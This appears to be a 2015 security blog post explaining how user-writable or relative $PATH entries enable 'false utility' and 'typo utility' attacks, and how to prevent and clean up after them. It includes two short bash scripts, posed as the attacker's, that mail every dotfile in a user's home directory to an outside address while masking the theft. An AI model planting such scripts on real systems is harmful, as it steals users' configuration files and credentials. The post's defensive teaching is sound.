Feb 27, 2015 Tags: programming, security
Of all of the commonalities across UNIX, UNIX clones, and UNIX-like environments,
few are as well defined and regular as the shell
For regular users,
$PATH usually defaults to something along the lines of
/bin:/usr/bin:/usr/local/bin, the three directories most commonly used to store
everyday, system-wide programs. This is a fairly reasonable default, as most* systems
do not allow unprivileged users to write to any of these directories.
Superusers usually have a similar
$PATH, but with the /sbin, /usr/sbin, and
/usr/local/sbin directories mixed in as necessesary. This is also fairly resonable,
as the sbin directories are generally recognized as the standard location for
administrative and system utilities (FHS 2.3 §13.15.1).
The problem arises when users configure their
$PATH to something like this:
1 export PATH=.:$PATH
or like this:
1 export PATH=$HOME/bin:$HOME/scripts:$PATH
or any combination of the above. This is actually fairly common, and opens the user
to two similar (but distinct) attacks: ‘false’ utilities and ‘typo’ scripts.
These seemingly innocuous changes can even expose superuser accounts, especially
the addition of the current working directory (“.”) to the
False utility attacks involve placing a script or program with a common name in one of the user-writeable paths, like /home/foo/bin, assuming “foo” is our user. For example, an attacker might save this script as /home/foo/bin/cat:
1 2 3 4 5 6 7 #!/usr/bin/env bash for file in ~/.* ; do mail firstname.lastname@example.org < "$file" done cat $@
Because the user’s
$PATH specifies the home directory’s bin before the
(protected) standard directories, their shell will execute
/home/foo/bin/cat instead of
cat is typed. Everything will look fine to “foo” because of
cat $@ command but, in reality, all of his or her configuration files
are being mailed to “badguy”.
Note: In case it wasn’t obvious, the choice of
~/.* glob is
purely arbitrary. Any network utility can be used, including
posting to a malicious server or even
netcat for raw transactions.
Luckily for us, this attack only works when user-writeable directories are
prefixed onto the
$PATH. By suffixing our directories to the
$PATH like this:
1 export PATH=$PATH:$HOME/bin
we can avoid most variants of this attack. Unfortunately, not all users have the
forethought to suffix their
$PATH and administrators should therefore provide
specific instructions and/or checks on
The above change stops maliciously-named scripts and programs from taking precedence
over the expected program, but it doesn’t stop another major type of attack
enabled by the
$PATH, facilitated by user typos.
Like the false utiity attack, the typo utility attack relies on the fact
that all executable files present in the
$PATH are executed if called, regardless
of how unusual their names are (excluding, of course, NULL bytes and extra slashes).
This means that an attacker can write a script and save it with a utility’s name,
with a slight typo. For example,
ls might become
/home/foo/bin/sl †, and
more might become /home/foo/bin/mroe.
A malicious typo utility might look like this:
1 2 3 4 5 6 7 8 #!/usr/bin/env bash # just like the previous example for file in ~/.* ; do mail email@example.com < "$file" done command_not_found_handle $0 2>&1 | tail -n 1 1>&2
If this example looks familiar, it’s because it is. It’s exactly identical to
the example above, except for in one feature: instead of executing the real
utility afterwards to hide its existence, this script invokes
with its own name.
command_not_found_handle is a
bash function that simply
reports the absence of its first argument on the
$PATH. By explicitly passing
$0 to it, trimming to the last line, and redirecting back to standard error, we
can simulate the error message expected by the user after making a typo.
For example, if the above was saved as /home/foo/bin/mroe, a session might look like this:
1 2 3 $ mroe file.txt # oops! mroe: command not found # mroe was found, but the user doesn't know that $ # back to work
This has several benefits over the false utility approach:
$PATHchanges, as there are no real utilities with typo-names.
On the other hand, if the user regularly checks their home bin directory, they’re just as likely to discover and delete it as if it were a false utility.
It is my firm opinion that the
$PATH should never, ever be modified on a
superuser or root account.
This is especially true for relative directories in the
As bad as they are in normal accounts, they are an entirely
different nightmare on an account with superuser privileges. For example, imagine
the following scenario:
Your friendly administrator has decided to add “.” to their
$PATHto make their job easier.
User baz, who doesn’t like the admin, has put two files in a directory they own.
One is named ls, and contains malicious instructions and a command to delete itself. The other is a random file that baz has removed their own permissions from.
“Help!,” says baz, “I can’t delete this file!”
The administrator, as superuser, goes to baz’s directory, runs
lsto see the file, and deletes it.
So, what happened?
Well, because the administrator’s
$PATH contained “.”, they ended up executing
the local ls instead of the expected
/bin/ls. The malicious script was well
designed and ran its own commands, then the real
ls, then deleted itself.
As a result, baz now has access to the admin’s account or whatever data they might
have wanted, and there is no trace of the fake ls.
Fixing an account (or entire system) after this sort of attack can take anywhere from a few minutes to several days, especially if the administrator was the one attacked.
The order of these steps varies depending on the type and depth of the attack, but each should be covered while attempting to clean the account:
$PATHto the standard one.
$PATH, scan each for unusual files, typo names (indicative of the “typo” attack), or changes. The simplest and best course of action may just be to restore from backups or
In summary, the
$PATH is a tricky thing. It makes UNIX and Linux systems
very powerful and easy to extend, but it also gives users an easy way to shoot
themselves (and other users) in the foot.
Administrators of multi-user systems would be wise to automatically filter the
$PATHs of their users, preventing user-owned directories from coming first.
Similarly, admins might override the
$PATH entirely and lock it to controlled
For those who are less authoritarian or more confident in their users, a possible
solution is to allow arbitrary changes to the
$PATH so long as those changes
do not include directories that would override programs on the standard
and, optionally, restrict the working directory from the
Hopefully this post has made you more aware of the potential dangers of modifying
$PATH. However, please don’t go and delete your ~/bin folder, because that’s not
the point of the lesson. I use one, and they are convenient.
Instead, you should make sure that you aren’t exposing yourself to excessive
risk, primarily by keeping your personal changes on the end of the
and not the beginning. Furthermore, you should periodically check those
directories for modifications or files to you did not add, especially after using
custom installers for software.
* On OS X installations using Homebrew, Homebrew
chowns the /usr/local directory
to the installing user, and makes subdirectories like /usr/local/bin and
/usr/local/lib writeable by that user. Homebrew claims that this is justified
as an attack/accident reduction strategy against poorly designed or malicious
build processes, which is a reasonable claim.
However, it is important to note that this essentially exposes what is
normally a protected directory to malicious and typo ‘utility’ attacks,
especially if /usr/local/bin is placed before /bin and /usr/bin on the
This is potentially even more dangerous than working directory or
utility injections, as an unsuspecting user is far more likely to trust a program
in an “official” directory like /usr/local/bin.
sl is actually a humorous utility
by Toyoda Masashi that
demonstrates this flaw, albiet in a humorous fashion. You can either build it from
source or install it from your package manager.